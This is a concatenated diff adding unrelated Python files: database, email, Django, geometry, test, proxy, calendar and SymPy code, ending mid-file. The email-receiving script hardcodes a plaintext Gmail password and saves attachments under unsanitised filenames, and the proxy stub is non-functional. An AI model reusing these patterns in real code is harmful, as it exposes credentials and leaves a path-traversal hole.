a/pool/shard009/Python/0081620_drop_last_files.SQL.py b/pool/shard009/Python/0081620_drop_last_files.SQL.py new file mode 100644 index 0000000000000000000000000000000000000000..f8c6e96bea19dbbd88c6b12f37e53e655cc2f44b --- /dev/null +++ b/pool/shard009/Python/0081620_drop_last_files.SQL.py @@ -0,0 +1,31 @@ +import sys +import re +import bam + +# This script drops the files with file IDs [5,12] +# Unfortunately, this functionality is not that clever yet and we have to +# provide the dbschema to the drop function +# To do that, we first get the dbschemas from the database and we create a mapping +# of file id to dbschema that we can pass to the bam.exec_sql_file function + + +# Run select query to get file info from files table +c = bam.new_client() +c.stdin.write("SELECT file_id, dbschema FROM bam.files;") +out, err = c.communicate() + +# Parse this outcome into a dictionary {DBSCHEMA_file_id -> dbschema} +p = re.compile("^\s*\[\s*(\d+)\s*,\s*(\d)\s*\]\s*$", re.MULTILINE) # Parses raw DB output +mapping = {} +c = bam.new_client() +for match in p.finditer(out): + fileId = int(match.group(1)) + dbschema = int(match.group(2)) + if fileId < 5: + continue + + c.stdin.write("CALL bam.bam_drop_file(%d, %d);"% (fileId, dbschema)) + +out, err = c.communicate() +sys.stdout.write(out) +sys.stdout.write(err) diff --git a/pool/shard009/Python/0081621_receiveEmail.py b/pool/shard009/Python/0081621_receiveEmail.py new file mode 100644 index 0000000000000000000000000000000000000000..4829a2a1b53cf77359c2bf9ed00f3b43327571ab --- /dev/null +++ b/pool/shard009/Python/0081621_receiveEmail.py @@ -0,0 +1,54 @@ +import email, getpass, imaplib, os + +def getEmail(): + detach_dir = '.' # directory where to save attachments (default: current) + user = "letswikit" + pwd = "wikitrocks" + + # connecting to the gmail imap server + m = imaplib.IMAP4_SSL("imap.gmail.com") + m.login(user,pwd) + m.select("[Gmail]/All Mail") # here you a can choose a mail box like INBOX instead + # use m.list() to get all the mailboxes + + resp, items = m.search(None, "UNSEEN") # you could filter using the IMAP rules here (check http://www.example-code.com/csharp/imap-search-critera.asp) + items = items[0].split() # getting the mails id + + for emailid in items: + resp, data = m.fetch(emailid, "(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff", but you can ask for headers only, etc + email_body = data[0][1] # getting the mail content + + mail = email.message_from_string(email_body) # parsing the mail content to get a mail object + + #Check if any attachments at all + if mail.get_content_maintype() != 'multipart': + continue + + print mail + + # we use walk to create a generator so we can iterate on the parts and forget about the recursive headach + for part in mail.walk(): + # multipart are just containers, so we skip them + if part.get_content_maintype() == 'multipart': + continue + + # is this part an attachment ? + if part.get('Content-Disposition') is None: + continue + + filename = part.get_filename() + counter = 1 + + # if there is no filename, we create one with a counter to avoid duplicates + if not filename: + filename = 'part-%03d%s' % (counter, 'bin') + counter += 1 + + att_path = os.path.join(detach_dir, filename) + + #Check if its already there + if not os.path.isfile(att_path) : + # finally write the stuff + fp = open(att_path, 'wb') + fp.write(part.get_payload(decode=True)) + fp.close() diff --git a/pool/shard009/Python/0081623_views.py b/pool/shard009/Python/0081623_views.py new file mode 100644 index 0000000000000000000000000000000000000000..d009a3f64bed8ef961a71d15087321974a090c89 --- /dev/null +++ b/pool/shard009/Python/0081623_views.py @@ -0,0 +1,72 @@ +""" +Re-usable view components +""" +import functools +import json +import datetime + +from django.utils.dateformat import format +from django.http import HttpResponse +from django.contrib.auth.decorators import login_required +from django.utils.decorators import method_decorator +from django.core.serializers.json import DjangoJSONEncoder +from rest_framework import mixins, viewsets +from django.conf import settings + + +class LoginRequiredMixin(object): + @method_decorator(login_required) + def dispatch(self, *args, **kwargs): + return super(LoginRequiredMixin, self).dispatch(*args, **kwargs) + + +class OpalSerializer(DjangoJSONEncoder): + def default(self, o): + if isinstance(o, datetime.datetime): + return format(o, settings.DATETIME_FORMAT) + elif isinstance(o, datetime.date): + return format( + datetime.datetime.combine( + o, datetime.datetime.min.time() + ), settings.DATE_FORMAT + ) + super(OpalSerializer, self).default(o) + + +def _get_request_data(request): + data = request.read() + if hasattr(data, 'decode'): + data = data.decode('UTF-8') + return json.loads(data) + + +def json_response(data, status_code=200): + """ + Return a HTTPResponse serializing DATA with the correct serializer + """ + response = HttpResponse() + response['Content-Type'] = 'application/json' + response.data = data + response.content = json.dumps(data, cls=OpalSerializer) + response.status_code = status_code + return response + + +def with_no_caching(view): + @functools.wraps(view) + def no_cache(*args, **kw): + response = view(*args, **kw) + response['Cache-Control'] = 'no-cache' + response['Pragma'] = 'no-cache' + response['Expires'] = '-1' + return response + + return no_cache + + +class ModelViewSet( + mixins.CreateModelMixin, + mixins.RetrieveModelMixin, + mixins.ListModelMixin, + viewsets.GenericViewSet): + pass diff --git a/pool/shard009/Python/0081632_constants.py b/pool/shard009/Python/0081632_constants.py new file mode 100644 index 0000000000000000000000000000000000000000..0ed0d4017b43fe00e86425e821d2a59abeea09ff --- /dev/null +++ b/pool/shard009/Python/0081632_constants.py @@ -0,0 +1,153 @@ +import numpy as np + +from .util import log, now + + +class ToleranceMesh(object): + """ + ToleranceMesh objects hold tolerance information about meshes. + + Parameters + ---------------- + tol.zero : float + Floating point numbers smaller than this are considered zero + tol.merge : float + When merging vertices, consider vertices closer than this + to be the same vertex. Here we use the same value (1e-8) + as SolidWorks uses, according to their documentation. + tol.planar : float + The maximum distance from a plane a point can be and + still be considered to be on the plane + tol.facet_threshold : float + Threshold for two facets to be considered coplanar + tol.strict : bool + If True, run additional in- process checks (slower) + """ + + def __init__(self, **kwargs): + # set our zero for floating point comparison to 100x + # the resolution of float64 which works out to 1e-13 + self.zero = np.finfo(np.float64).resolution * 100 + # vertices closer than this should be merged + self.merge = 1e-8 + # peak to valley flatness to be considered planar + self.planar = 1e-5 + # coplanar threshold: ratio of (radius / span) ** 2 + self.facet_threshold = 5000 + # run additional checks and asserts + self.strict = False + + # add any passed kwargs + self.__dict__.update(kwargs) + + +class TolerancePath(object): + """ + TolerancePath objects contain tolerance information used in + Path objects. + + Parameters + --------------- + tol.zero : float + Floating point numbers smaller than this are considered zero + tol.merge : float + When merging vertices, consider vertices closer than this + to be the same vertex. Here we use the same value (1e-8) + as SolidWorks uses, according to their documentation. + tol.planar : float + The maximum distance from a plane a point can be and + still be considered to be on the plane + tol.seg_frac : float + When simplifying line segments what percentage of the drawing + scale can a segment be and have a curve fitted + tol.seg_angle : float + When simplifying line segments to arcs, what angle + can a segment span to be acceptable. + tol.aspect_frac : float + When simplifying line segments to closed arcs (circles) + what percentage can the aspect ratio differfrom 1:1 + before escaping the fit early + tol.radius_frac : float + When simplifying line segments to arcs, what percentage + of the fit radius can vertices deviate to be acceptable + tol.radius_min : + When simplifying line segments to arcs, what is the minimum + radius multiplied by document scale for an acceptable fit + tol.radius_max : + When simplifying line segments to arcs, what is the maximum + radius multiplied by document scale for an acceptable fit + tol.tangent : + When simplifying line segments to curves, what is the maximum + angle the end sections can deviate from tangent that is + acceptable. + """ + + def __init__(self, **kwargs): + # default values + self.zero = 1e-12 + self.merge = 1e-5 + self.planar = 1e-5 + self.buffer = .05 + self.seg_frac = .125 + self.seg_angle = np.radians(50) + self.seg_angle_min = np.radians(1) + self.seg_angle_frac = .5 + self.aspect_frac = .1 + self.radius_frac = .02 + self.radius_min = 1e-4 + self.radius_max = 50 + self.tangent = np.radians(20) + # run additional checks and asserts + self.strict = False + self.__dict__.update(kwargs) + + +class ResolutionPath(object): + """ + res.seg_frac : float + When discretizing curves, what percentage of the drawing + scale should we aim to make a single segment + res.seg_angle : float + When discretizing curves, what angle should a section span + res.max_sections : int + When discretizing splines, what is the maximum number + of segments per control point + res.min_sections : int + When discretizing splines, what is the minimum number + of segments per control point + res.export : str + Format string to use when exporting floating point vertices + """ + + def __init__(self, **kwargs): + self.seg_frac = .05 + self.seg_angle = .08 + self.max_sections = 500 + self.min_sections = 20 + self.export = '0.10f' + + +# instantiate mesh tolerances with defaults +tol = ToleranceMesh() + +# instantiate path tolerances with defaults +tol_path = TolerancePath() +res_path = ResolutionPath() + + +def log_time(method): + """ + A decorator for methods which will time the method + and then emit a log.debug message with the method name + and how long it took to execute. + """ + def timed(*args, **kwargs): + tic = now() + result = method(*args, **kwargs) + log.debug('%s executed in %.4f seconds.', + method.__name__, + now() - tic) + return result + timed.__name__ = method.__name__ + timed.__doc__ = method.__doc__ + return timed diff --git a/pool/shard009/Python/0081633_mailtest.py b/pool/shard009/Python/0081633_mailtest.py new file mode 100644 index 0000000000000000000000000000000000000000..ffcfe206fe396805b50a38e6d64b83b3d50e9c7c --- /dev/null +++ b/pool/shard009/Python/0081633_mailtest.py @@ -0,0 +1,46 @@ +# coding=utf-8 +import os, smtplib, mimetypes +from email.mime.text import MIMEText +from email.mime.image import MIMEImage +from email.mime.multipart import MIMEMultipart + + +MAIL_LIST = ["**@139.com"] +MAIL_HOST = "smtp.139.com" +MAIL_USER = "**" +MAIL_PASS = "**" +MAIL_POSTFIX = "139.com" +MAIL_FROM = MAIL_USER + "<"+MAIL_USER + "@" + MAIL_POSTFIX + ">" + +def send_mail(subject, content, filename = None): + try: + message = MIMEMultipart() + message.attach(MIMEText(content)) + message["Subject"] = subject + message["From"] = MAIL_FROM + message["To"] = ";".join(MAIL_LIST) + if filename != None and os.path.exists(filename): + ctype, encoding = mimetypes.guess_type(filename) + if ctype is None or encoding is not None: + ctype = "application/octet-stream" + maintype, subtype = ctype.split("/", 1) + attachment = MIMEImage((lambda f: (f.read(), f.close()))(open(filename, "rb"))[0], _subtype = subtype) + attachment.add_header("Content-Disposition", "attachment", filename = filename) + message.attach(attachment) + + smtp = smtplib.SMTP() + smtp.connect(MAIL_HOST) + smtp.login(MAIL_USER, MAIL_PASS) + smtp.sendmail(MAIL_FROM, MAIL_LIST, message.as_string()) + smtp.quit() + + return True + except Exception, errmsg: + print "Send mail failed to: %s" % errmsg + return False + +if __name__ == "__main__": + if send_mail("测试信", "我的博客欢迎您:http://www.linuxidc.com/", r"d:/20151111.csv"): + print "1111" + else: + print "2222!" diff --git a/pool/shard009/Python/0081637_test_generic.py b/pool/shard009/Python/0081637_test_generic.py new file mode 100644 index 0000000000000000000000000000000000000000..87eb7e30e914a28155189bd8a91af75ed5c248b6 --- /dev/null +++ b/pool/shard009/Python/0081637_test_generic.py @@ -0,0 +1,42 @@ +from pytest import fixture, mark + +from ..generic import GenericOAuthenticator + +from .mocks import setup_oauth_mock + + +def user_model(username): + """Return a user model""" + return { + 'username': username, + 'scope': 'basic', + } + +def Authenticator(): + return GenericOAuthenticator( + token_url='https://generic.horse/oauth/access_token', + userdata_url='https://generic.horse/oauth/userinfo' + ) +@fixture +def generic_client(client): + setup_oauth_mock(client, + host='generic.horse', + access_token_path='/oauth/access_token', + user_path='/oauth/userinfo', + ) + return client + + +@mark.gen_test +def test_generic(generic_client): + authenticator = Authenticator() + handler = generic_client.handler_for_user(user_model('wash')) + user_info = yield authenticator.authenticate(handler) + assert sorted(user_info) == ['auth_state', 'name'] + name = user_info['name'] + assert name == 'wash' + auth_state = user_info['auth_state'] + assert 'access_token' in auth_state + assert 'oauth_user' in auth_state + assert 'refresh_token' in auth_state + assert 'scope' in auth_state diff --git a/pool/shard009/Python/0081639_server.py b/pool/shard009/Python/0081639_server.py new file mode 100644 index 0000000000000000000000000000000000000000..02aac3913cf85ac925a4b5766662dca69eb42f2e --- /dev/null +++ b/pool/shard009/Python/0081639_server.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +# coding:utf-8 + +raise NotImplementedError('Coming soon...') + +__version__ = '3.1.18' + +import os +import sys +import sysconfig + +reload(sys).setdefaultencoding('UTF-8') +sys.dont_write_bytecode = True +sys.path = [(os.path.dirname(__file__) or '.') + '/packages.egg/noarch'] + sys.path + [(os.path.dirname(__file__) or '.') + '/packages.egg/' + sysconfig.get_platform().split('-')[0]] + +try: + __import__('gevent.monkey', fromlist=['.']).patch_all() +except (ImportError, SystemError): + sys.exit(sys.stderr.write('please install python-gevent\n')) + +import collections +import ConfigParser +import Queue +import random +import re +import socket +import thread +import time + +import gevent +import gevent.queue +import gevent.server +import gevent.socket + +from proxylib import LRUCache +from proxylib import CertUtil +from proxylib import dnslib_resolve_over_tcp +from proxylib import dnslib_resolve_over_udp +from proxylib import dnslib_record2iplist +from proxylib import SSLConnection +from proxylib import ProxyUtil +from proxylib import inflate +from proxylib import deflate +from proxylib import get_dnsserver_list +from proxylib import spawn_later +from proxylib import AuthFilter +from proxylib import AdvancedProxyHandler +from proxylib import BlackholeFilter +from proxylib import UserAgentFilter +from proxylib import URLRewriteFilter +from proxylib import BaseProxyHandlerFilter +from proxylib import CipherFileObject +from proxylib import RC4Cipher +from proxylib import FakeHttpsFilter +from proxylib import ForceHttpsFilter +from proxylib import StaticFileFilter +from proxylib import get_process_list +from proxylib import get_uptime +from proxylib import LocalProxyServer +from proxylib import RangeFetch +from proxylib import SimpleProxyHandlerFilter +from proxylib import SimpleProxyHandler + + + + +class VPSProxyHandler(AdvancedProxyHandler): + """GAE Proxy Handler""" + handler_filters = [SimpleProxyHandlerFilter()] + urlfetch_class = MyURLFetch + + def first_run(self): + """GAEProxyHandler setup, init domain/iplist map""" + logging.info('resolve common.IPLIST_ALIAS names=%s to iplist', list(common.IPLIST_ALIAS)) + common.resolve_iplist() + + def gethostbyname2(self, hostname): + for postfix in ('.appspot.com', '.googleusercontent.com'): + if hostname.endswith(postfix): + host = common.HOST_MAP.get(hostname) or common.HOST_POSTFIX_MAP[postfix] + return common.IPLIST_ALIAS.get(host) or host.split('|') + return AdvancedProxyHandler.gethostbyname2(self, hostname) + + def handle_urlfetch_error(self, fetchserver, response): + pass + + +def pre_start(): + if True: + VPSProxyHandler.handler_filters.insert(0, HostsFilter()) + if True: + VPSProxyHandler.handler_filters.insert(0, URLRewriteFilter()) + if common.FAKEHTTPS_SITES: + VPSProxyHandler.handler_filters.insert(0, FakeHttpsFilter(common.FAKEHTTPS_SITES, common.NOFAKEHTTPS_SITES)) + if common.FORCEHTTPS_SITES: + VPSProxyHandler.handler_filters.insert(0, ForceHttpsFilter(common.FORCEHTTPS_SITES, common.NOFORCEHTTPS_SITES)) + if common.USERAGENT_ENABLE: + VPSProxyHandler.handler_filters.insert(0, UserAgentFilter(common.USERAGENT_STRING)) + if common.AUTH: + VPSProxyHandler.handler_filters.insert(0, AuthFilter('', '')) + + +def main(): + global __file__ + __file__ = os.path.abspath(__file__) + if os.path.islink(__file__): + __file__ = getattr(os, 'readlink', lambda x: x)(__file__) + os.chdir(os.path.dirname(os.path.abspath(__file__))) + logging.basicConfig(level=logging.DEBUG if common.LISTEN_DEBUGINFO else logging.INFO, format='%(levelname)s - %(asctime)s %(message)s', datefmt='[%b %d %H:%M:%S]') + pre_start() + sys.stderr.write(common.info()) + + HandlerClass = VPSProxyHandler + server = LocalProxyServer((common.LISTEN_IP, common.LISTEN_PORT), HandlerClass) + server.serve_forever() + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081643_receivedby.py b/pool/shard009/Python/0081643_receivedby.py new file mode 100644 index 0000000000000000000000000000000000000000..d924f2108dc0ed9e3976cdbdcf23590fbfca8443 --- /dev/null +++ b/pool/shard009/Python/0081643_receivedby.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python2 +# Copyright (c) 2014 The Bitcoin Developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. + +# Exercise the listreceivedbyaddress API + +from test_framework import sequenceTestFramework +from sequencerpc.authproxy import AuthServiceProxy, JSONRPCException +from util import * + + +def get_sub_array_from_array(object_array, to_match): + ''' + Finds and returns a sub array from an array of arrays. + to_match should be a unique idetifier of a sub array + ''' + num_matched = 0 + for item in object_array: + all_match = True + for key,value in to_match.items(): + if item[key] != value: + all_match = False + if not all_match: + continue + return item + return [] + +def check_array_result(object_array, to_match, expected, should_not_find = False): + """ + Pass in array of JSON objects, a dictionary with key/value pairs + to match against, and another dictionary with expected key/value + pairs. + If the should_not_find flag is true, to_match should not be found in object_array + """ + if should_not_find == True: + expected = { } + num_matched = 0 + for item in object_array: + all_match = True + for key,value in to_match.items(): + if item[key] != value: + all_match = False + if not all_match: + continue + for key,value in expected.items(): + if item[key] != value: + raise AssertionError("%s : expected %s=%s"%(str(item), str(key), str(value))) + num_matched = num_matched+1 + if num_matched == 0 and should_not_find != True: + raise AssertionError("No objects matched %s"%(str(to_match))) + if num_matched > 0 and should_not_find == True: + raise AssertionError("Objects was matched %s"%(str(to_match))) + +class ReceivedByTest(sequenceTestFramework): + + def run_test(self): + ''' + listreceivedbyaddress Test + ''' + # Send from node 0 to 1 + addr = self.nodes[1].getnewaddress() + txid = self.nodes[0].sendtoaddress(addr, 0.1) + self.sync_all() + + #Check not listed in listreceivedbyaddress because has 0 confirmations + check_array_result(self.nodes[1].listreceivedbyaddress(), + {"address":addr}, + { }, + True) + #Bury Tx under 10 block so it will be returned by listreceivedbyaddress + self.nodes[1].setgenerate(True, 10) + self.sync_all() + check_array_result(self.nodes[1].listreceivedbyaddress(), + {"address":addr}, + {"address":addr, "account":"", "amount":Decimal("0.1"), "confirmations":10, "txids":[txid,]}) + #With min confidence < 10 + check_array_result(self.nodes[1].listreceivedbyaddress(5), + {"address":addr}, + {"address":addr, "account":"", "amount":Decimal("0.1"), "confirmations":10, "txids":[txid,]}) + #With min confidence > 10, should not find Tx + check_array_result(self.nodes[1].listreceivedbyaddress(11),{"address":addr},{ },True) + + #Empty Tx + addr = self.nodes[1].getnewaddress() + check_array_result(self.nodes[1].listreceivedbyaddress(0,True), + {"address":addr}, + {"address":addr, "account":"", "amount":0, "confirmations":0, "txids":[]}) + + ''' + getreceivedbyaddress Test + ''' + # Send from node 0 to 1 + addr = self.nodes[1].getnewaddress() + txid = self.nodes[0].sendtoaddress(addr, 0.1) + self.sync_all() + + #Check balance is 0 because of 0 confirmations + balance = self.nodes[1].getreceivedbyaddress(addr) + if balance != Decimal("0.0"): + raise AssertionError("Wrong balance returned by getreceivedbyaddress, %0.2f"%(balance)) + + #Check balance is 0.1 + balance = self.nodes[1].getreceivedbyaddress(addr,0) + if balance != Decimal("0.1"): + raise AssertionError("Wrong balance returned by getreceivedbyaddress, %0.2f"%(balance)) + + #Bury Tx under 10 block so it will be returned by the default getreceivedbyaddress + self.nodes[1].setgenerate(True, 10) + self.sync_all() + balance = self.nodes[1].getreceivedbyaddress(addr) + if balance != Decimal("0.1"): + raise AssertionError("Wrong balance returned by getreceivedbyaddress, %0.2f"%(balance)) + + ''' + listreceivedbyaccount + getreceivedbyaccount Test + ''' + #set pre-state + addrArr = self.nodes[1].getnewaddress() + account = self.nodes[1].getaccount(addrArr) + received_by_account_json = get_sub_array_from_array(self.nodes[1].listreceivedbyaccount(),{"account":account}) + if len(received_by_account_json) == 0: + raise AssertionError("No accounts found in node") + balance_by_account = rec_by_accountArr = self.nodes[1].getreceivedbyaccount(account) + + txid = self.nodes[0].sendtoaddress(addr, 0.1) + self.sync_all() + + # listreceivedbyaccount should return received_by_account_json because of 0 confirmations + check_array_result(self.nodes[1].listreceivedbyaccount(), + {"account":account}, + received_by_account_json) + + # getreceivedbyaddress should return same balance because of 0 confirmations + balance = self.nodes[1].getreceivedbyaccount(account) + if balance != balance_by_account: + raise AssertionError("Wrong balance returned by getreceivedbyaccount, %0.2f"%(balance)) + + self.nodes[1].setgenerate(True, 10) + self.sync_all() + # listreceivedbyaccount should return updated account balance + check_array_result(self.nodes[1].listreceivedbyaccount(), + {"account":account}, + {"account":received_by_account_json["account"], "amount":(received_by_account_json["amount"] + Decimal("0.1"))}) + + # getreceivedbyaddress should return updates balance + balance = self.nodes[1].getreceivedbyaccount(account) + if balance != balance_by_account + Decimal("0.1"): + raise AssertionError("Wrong balance returned by getreceivedbyaccount, %0.2f"%(balance)) + + #Create a new account named "mynewaccount" that has a 0 balance + self.nodes[1].getaccountaddress("mynewaccount") + received_by_account_json = get_sub_array_from_array(self.nodes[1].listreceivedbyaccount(0,True),{"account":"mynewaccount"}) + if len(received_by_account_json) == 0: + raise AssertionError("No accounts found in node") + + # Test includeempty of listreceivedbyaccount + if received_by_account_json["amount"] != Decimal("0.0"): + raise AssertionError("Wrong balance returned by listreceivedbyaccount, %0.2f"%(received_by_account_json["amount"])) + + # Test getreceivedbyaccount for 0 amount accounts + balance = self.nodes[1].getreceivedbyaccount("mynewaccount") + if balance != Decimal("0.0"): + raise AssertionError("Wrong balance returned by getreceivedbyaccount, %0.2f"%(balance)) + +if __name__ == '__main__': + ReceivedByTest().main() diff --git a/pool/shard009/Python/0081644_djbc_document_type.py b/pool/shard009/Python/0081644_djbc_document_type.py new file mode 100644 index 0000000000000000000000000000000000000000..edf06aca88ca7344c2e9229301c3584ef132ceb3 --- /dev/null +++ b/pool/shard009/Python/0081644_djbc_document_type.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +# Copyright 2017 OpenSynergy Indonesia +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). + +from openerp import models, fields + + +class DocumentType(models.Model): + _name = "l10n_id.djbc_document_type" + _description = "Document Type" + + name = fields.Char( + string="Document Type", + required=True, + ) + code = fields.Char( + string="Code", + required=True, + ) + active = fields.Boolean( + string="Active", + default=True, + ) + description = fields.Text( + string="Description", + ) diff --git a/pool/shard009/Python/0081647_ical.py b/pool/shard009/Python/0081647_ical.py new file mode 100644 index 0000000000000000000000000000000000000000..e9bd6915a3556358a1640431671804b8832551ea --- /dev/null +++ b/pool/shard009/Python/0081647_ical.py @@ -0,0 +1,151 @@ +# -*- coding: UTF-8 -*- +from datetime import datetime + +# FIXME: We can use an external library. + +def encode(line): + if isinstance(line, unicode): + line = line.encode('utf-8') + if not line.endswith('\r\n'): + line += '\r\n' + if len(line) > 75: + fold = [ line ] + while len(fold[-1]) > 75: + l = fold[-1] + # 73, because it will be added CRLF + pos = 73 + # It's a bad idea to truncate the string (maybe UTF-8) with a random number, + # because I will break a multi-bytes sequence and the file will be unreadable. + while True: + ready = fold[-1][:pos] + try: + ready.decode('utf-8') + except UnicodeDecodeError: + pos -= 1 + if pos == 0: + raise ValueError('cannot encode: %s' % line) + else: + break + fold[-1] = ready + fold.append(' ' + l[pos:]) + line = '\r\n'.join(fold) + return line + +def content(name, value, params=None): + if params: + t = [] + for pname, pvalue in params.items(): + if ',' in pvalue or ';' in pvalue or ':' in pvalue: + pvalue = '"%s"' % pvalue + t.append('%s=%s' % (pname, pvalue)) + name += ';' + ';'.join(t) + return encode('%s:%s' % (name, value)) + +def TEXT(value): + if isinstance(value, unicode): + value = value.encode('utf-8') + elif not isinstance(value, str): + value = str(value) + return value\ + .replace('\\', '\\\\')\ + .replace('\r\n', '\\n')\ + .replace('\r', '\\n')\ + .replace('\n', '\\n')\ + .replace(';', '\\;')\ + .replace(',', '\\,') + +def DATE_TIME(value): + return value.strftime('%Y%m%dT%H%M%S') + +def FLOAT(value): + return '%+.6f' % value + +def DURATION(value): + r = value.seconds + h = r / 3600 + m = (r - (h * 3600)) / 60 + s = r - (h * 3600) - (m * 60) + return 'P%sDT%sH%sM%sS' % (value.days, h, m, s) + +def URI(value): + return value + +def Property(value, params=None, fmt=TEXT, property_values=1, values_sep=','): + if value is None: + return None + + if isinstance(value, tuple): + value, params = value + + if not isinstance(value, (tuple, list)): + value = [ value ] + + if property_values > 0 and len(value) != property_values: + raise ValueError("Invalid number of values") + + values = values_sep.join(map(fmt, value)) + return values, params + +class Component(dict): + def __init__(self, name, *args, **kwargs): + self.name = name + self.subcomponents = [] + super(Component, self).__init__(*args, **kwargs) + + def encode(self): + yield content('BEGIN', self.name) + for name, prop in self.items(): + if prop is None: + continue + value, params = prop + yield content(name, value, params) + for comp in self.subcomponents: + for line in comp.encode(): + yield line + yield content('END', self.name) + +class Event(Component): + def __init__( + self, + uid, + start, + end=None, + duration=None, + classification='PUBLIC', + revised=None, + summary=None, + description=None, + location=None, + coordinates=None, + organizer=None, + url=None, + ): + assert not (end and duration) + if revised is None: + revised = datetime.now() + d = { + 'UID': Property(uid, fmt=TEXT), + 'DTSTART': Property(start, fmt=DATE_TIME), + 'DTEND': Property(end, fmt=DATE_TIME), + 'DURATION': Property(duration, fmt=DURATION), + 'DTSTAMP': Property(revised, fmt=DATE_TIME), + 'CLASS': Property(classification, fmt=TEXT), + 'SUMMARY': Property(summary, fmt=TEXT), + 'DESCRIPTION': Property(description, fmt=TEXT), + 'GEO': Property(coordinates, fmt=FLOAT, property_values=2, values_sep=';'), + 'LOCATION': Property(location, fmt=TEXT), + 'URL': Property(url, fmt=URI), + 'ORGANIZER': Property(organizer, fmt=URI), + } + super(Event, self).__init__('VEVENT', d) + +class Calendar(Component): + def __init__(self, uid, events, ttl=None): + d = { + 'VERSION': Property('2.0'), + 'PRODID': Property(uid), + 'X-PUBLISHED-TTL': Property(ttl, fmt=DURATION), + } + super(Calendar, self).__init__('VCALENDAR', d) + self.subcomponents = events + diff --git a/pool/shard009/Python/0081649_test_main_controller.py b/pool/shard009/Python/0081649_test_main_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..7da21eb6d62e5b0bccdce82e915ac1dad75ef200 --- /dev/null +++ b/pool/shard009/Python/0081649_test_main_controller.py @@ -0,0 +1,45 @@ +from webapp.models.user import User + + +class TestMainController: + + def test_home(self, client): + rv = client.get('/') + assert rv.status_code == 200 + + def test_login(self, client, session): + admin = User('admin', 'supersafepassword') + session.add(admin) + session.commit() + + rv = client.post('/login', data={ + 'username': 'admin', + 'password': 'supersafepassword', + }) + + assert rv.status_code == 200 + + def test_login_fail(self, client): + rv = client.post('/login', data={ + 'username': 'admin', + 'password': 'badpassword', + }) + + assert rv.status_code == 401 + + def test_logout(self, client, session): + admin = User('admin', 'supersafepassword') + session.add(admin) + session.commit() + + rv = client.post('/login', data={ + 'username': 'admin', + 'password': 'supersafepassword', + }) + + rv = client.get('/logout') + assert rv.status_code == 200 + + def test_restricted(self, client): + rv = client.get('/restricted') + assert rv.status_code == 401 diff --git a/pool/shard009/Python/0081653_core.py b/pool/shard009/Python/0081653_core.py new file mode 100644 index 0000000000000000000000000000000000000000..4c2bf72e9018dc683d8f301c69a313158ff99217 --- /dev/null +++ b/pool/shard009/Python/0081653_core.py @@ -0,0 +1,136 @@ +""" The core's core. """ +from sympy.core.compatibility import cmp + +# used for canonical ordering of symbolic sequences +# via __cmp__ method: +# FIXME this is *so* irrelevant and outdated! +ordering_of_classes = [ + # singleton numbers + 'Zero', 'One','Half','Infinity','NaN','NegativeOne','NegativeInfinity', + # numbers + 'Integer','Rational','Float', + # singleton symbols + 'Exp1','Pi','ImaginaryUnit', + # symbols + 'Symbol','Wild','Temporary', + # arithmetic operations + 'Pow', 'Mul', 'Add', + # function values + 'Derivative','Integral', + # defined singleton functions + 'Abs','Sign','Sqrt', + 'Floor', 'Ceiling', + 'Re', 'Im', 'Arg', + 'Conjugate', + 'Exp','Log', + 'Sin','Cos','Tan','Cot','ASin','ACos','ATan','ACot', + 'Sinh','Cosh','Tanh','Coth','ASinh','ACosh','ATanh','ACoth', + 'RisingFactorial','FallingFactorial', + 'factorial','binomial', + 'Gamma','LowerGamma','UpperGamma','PolyGamma', + 'Erf', + # special polynomials + 'Chebyshev','Chebyshev2', + # undefined functions + 'Function','WildFunction', + # anonymous functions + 'Lambda', + # Landau O symbol + 'Order', + # relational operations + 'Equality', 'Unequality', 'StrictGreaterThan', 'StrictLessThan', + 'GreaterThan', 'LessThan', + ] + + +class BasicType(type): + pass + + +class Registry(object): + """ + Base class for registry objects. + + Registries map a name to an object using attribute notation. Registry + classes behave singletonically: all their instances share the same state, + which is stored in the class object. + + All subclasses should set `__slots__ = []`. + """ + __slots__ = [] + + def __setattr__(self, name, obj): + setattr(self.__class__, name, obj) + + def __delattr__(self, name): + delattr(self.__class__, name) + +#A set containing all sympy class objects, kept in sync with C +all_classes = set() + +class ClassRegistry(Registry): + """ + Namespace for SymPy classes + + This is needed to avoid problems with cyclic imports. + To get a SymPy class, use `C.` e.g. `C.Rational`, `C.Add`. + + For performance reasons, this is coupled with a set `all_classes` holding + the classes, which should not be modified directly. + """ + __slots__ = [] + + def __setattr__(self, name, cls): + Registry.__setattr__(self, name, cls) + all_classes.add(cls) + + def __delattr__(self, name): + cls = getattr(self, name) + Registry.__delattr__(self, name) + # The same class could have different names, so make sure + # it's really gone from C before removing it from all_classes. + if cls not in self.__class__.__dict__.itervalues(): + all_classes.remove(cls) + +C = ClassRegistry() + +class BasicMeta(BasicType): + + def __init__(cls, *args, **kws): + setattr(C, cls.__name__, cls) + + def __cmp__(cls, other): + # If the other object is not a Basic subclass, then we are not equal to + # it. + if not isinstance(other, BasicType): + return -1 + n1 = cls.__name__ + n2 = other.__name__ + c = cmp(n1, n2) + if not c: + return 0 + + UNKNOWN = len(ordering_of_classes) + 1 + try: + i1 = ordering_of_classes.index(n1) + except ValueError: + i1 = UNKNOWN + try: + i2 = ordering_of_classes.index(n2) + except ValueError: + i2 = UNKNOWN + if i1 == UNKNOWN and i2 == UNKNOWN: + return c + return cmp(i1, i2) + + def __lt__(cls, other): + if cls.__cmp__(other) == -1: + return True + return False + + def __gt__(cls, other): + if cls.__cmp__(other) == 1: + return True + return False + +C.BasicMeta = BasicMeta diff --git a/pool/shard009/Python/0081666_reject_draft_registrations.py b/pool/shard009/Python/0081666_reject_draft_registrations.py new file mode 100644 index 0000000000000000000000000000000000000000..0d3f3b0786568bfb581c882d990fd99cb0b13293 --- /dev/null +++ b/pool/shard009/Python/0081666_reject_draft_registrations.py @@ -0,0 +1,54 @@ +""" A script for testing DraftRegistrationApprovals. Automatically adds comments to and rejects +pending DraftRegistrationApprovals +""" +import sys +import logging +import datetime as dt + +from website.app import init_app +from website.models import DraftRegistration, Sanction, User + +logger = logging.getLogger(__name__) +logging.basicConfig(level=logging.WARN) +logging.disable(level=logging.INFO) + + +def 